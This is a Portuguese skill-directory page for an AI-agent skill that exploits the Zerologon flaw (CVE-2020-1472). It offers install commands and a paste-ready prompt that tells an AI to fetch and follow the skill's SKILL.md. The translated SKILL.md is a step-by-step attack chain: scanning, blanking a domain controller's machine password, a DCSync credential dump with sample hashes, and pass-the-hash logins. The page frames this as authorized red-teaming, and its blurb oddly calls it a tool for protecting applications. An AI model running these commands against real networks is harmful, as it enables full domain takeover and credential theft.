Pular para o conteúdo
Skillpedia
Segurança35 mil · #5766

exploiting-zerologon-vulnerability-cve-2020-1472

Ensina seu agente de IA a proteger aplicações contra ataques.

O que ela faz

Esta ferramenta explora uma falha de segurança chamada Zerologon em sistemas Windows. Ela permite que um invasor altere a senha de uma conta de computador do controlador de domínio, o que pode levar ao controle total da rede.

Quando usar

  • ✓Ao testar a segurança de redes Windows autorizadas.
  • ✓Para verificar se controladores de domínio estão vulneráveis à Zerologon.
  • ✓Em simulações de ataque (red teaming) controladas.

Exemplo do que pedir para a IA

“Verifique se o controlador de domínio DC01 na rede 10.10.10.1 é vulnerável à Zerologon.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-zerologon-vulnerability-cve-2020-1472/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-zerologon-vulnerability-cve-2020-1472/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta usa uma técnica para explorar a falha Zerologon, permitindo que a senha da conta do computador do controlador de domínio seja redefinida. Em seguida, ela extrai credenciais de domínio.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-zerologon-vulnerability-cve-2020-1472

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-zerologon-vulnerability-cve-2020-1472/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Explorando a Vulnerabilidade Zerologon (CVE-2020-1472)

Visão Geral

Zerologon (CVE-2020-1472) é uma vulnerabilidade crítica de elevação de privilégio (CVSS 10.0) no Microsoft Netlogon Remote Protocol (MS-NRPC). A falha reside na implementação criptográfica do modo AES-CFB8, onde o vetor de inicialização (IV) é incorretamente definido como todos os zeros. Isso permite que um atacante não autenticado com acesso de rede a um controlador de domínio estabeleça uma sessão Netlogon e redefina a senha da conta de máquina do DC para vazia, alcançando o comprometimento total do domínio. A Microsoft corrigiu essa vulnerabilidade em agosto de 2020 (KB4571694).

Quando Usar

  • Ao realizar testes de segurança autorizados que envolvam a exploração da vulnerabilidade zerologon cve 2020 1472
  • Ao analisar amostras de malware ou artefatos de ataque em um ambiente controlado
  • Ao conduzir exercícios de equipe vermelha (red team) ou engajamentos de testes de penetração
  • Ao construir capacidades de detecção com base no entendimento de técnicas ofensivas

Pré-requisitos

  • Acesso de rede a um Controlador de Domínio (porta TCP 135 e portas RPC dinâmicas)
  • Nenhuma autenticação necessária (exploit não autenticado)
  • O DC alvo não deve ter o modo de aplicação de fevereiro de 2021 habilitado
  • Toolkit Impacket instalado
  • Autorização por escrito para o engajamento de equipe vermelha

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Mapeamento MITRE ATT&CK

ID da Técnica Nome Tática
T1068 Exploração para Escalação de Privilégios Escalação de Privilégios
T1210 Exploração de Serviços Remotos Movimentação Lateral
T1003.006 Dump de Credenciais do SO: DCSync Acesso a Credenciais
T1078.002 Contas Válidas: Contas de Domínio Persistência

Detalhes Técnicos da Vulnerabilidade

Causa Raiz

O protocolo de autenticação Netlogon usa criptografia AES-CFB8 com um desafio do cliente e um desafio do servidor. A vulnerabilidade existe porque:

  1. O IV é codificado como 16 bytes de zeros
  2. Quando o texto plano é 8 bytes de zeros, o AES-CFB8 produz um texto cifrado de todos os zeros com probabilidade de 1 em 256
  3. Um atacante pode enviar aproximadamente 256 tentativas de autenticação (leva ~3 segundos) para ter sucesso

Sistemas Afetados

  • Windows Server 2008 R2 até Windows Server 2019
  • Todos os controladores de domínio executando o serviço Netlogon não corrigido
  • Versões do Samba < 4.8 (se executando como AD DC)

Passo 1: Identificar Controladores de Domínio Vulneráveis

# Scan for domain controllers
nmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0/24

# Check if DC is vulnerable using zerologon checker
python3 zerologon_tester.py DC01 10.10.10.1

# Using CrackMapExec
crackmapexec smb 10.10.10.1 -M zerologon

Passo 2: Explorar Zerologon

# Using Impacket's CVE-2020-1472 exploit
# This sets the DC machine account password to empty
python3 cve_2020_1472.py DC01$ 10.10.10.1

# Expected output:
# Performing authentication attempts...
# =========================================
# NetrServerAuthenticate2 Result: 0 (success after ~256 attempts)
# NetrServerPasswordSet2 call was successful
# DC01$ machine account password set to empty string

Passo 3: DCSync com Senha Vazia

# Use the empty hash to perform DCSync
secretsdump.py -no-pass -just-dc corp.local/DC01\$@10.10.10.1

# Output includes all domain hashes:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
# svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:e4cba78b4c01d6e5c0e31ffff18e46ab:::

# Alternatively, dump specific accounts
secretsdump.py -no-pass corp.local/DC01\$@10.10.10.1 \
  -just-dc-user Administrator

Passo 4: Obter Acesso de Administrador de Domínio

# Pass the Hash with Administrator NTLM
psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
  corp.local/Administrator@10.10.10.1

# Or use wmiexec for stealthier access
wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
  corp.local/Administrator@10.10.10.1

Passo 5: Restaurar Senha da Conta de Máquina (CRÍTICO)

AVISO: Após explorar o Zerologon, a senha da conta de máquina do DC fica vazia, o que quebrará a replicação e os serviços do Active Directory. Você DEVE restaurá-la.

# Método 1: Usar a funcionalidade de restauração do exploit

…
Perguntas frequentes

O que é Zerologon?

Zerologon é o nome dado a uma falha de segurança crítica (CVE-2020-1472) no protocolo Netlogon do Windows, que permite a um atacante obter controle total de um domínio.

Preciso de permissão para usar esta ferramenta?

Sim, você só pode usar esta ferramenta em sistemas para os quais tem autorização explícita por escrito para testar. Usá-la em sistemas não autorizados é ilegal.

O que acontece depois de explorar a vulnerabilidade?

A senha da conta do computador do controlador de domínio é alterada para vazia. É crucial restaurar a senha original para evitar problemas de replicação e garantir o funcionamento da rede.

Detalhes

Descrição original do autor

Exploits the Zerologon vulnerability (CVE-2020-1472) in the Netlogon Remote Protocol using Impacket to reset a domain controller's machine account password to empty, then runs DCSync via secretsdump.py to dump domain credentials. Use when red-teaming or validating unpatched Active Directory domain controllers for Zerologon, including restoring the machine account password afterward.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#5766
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas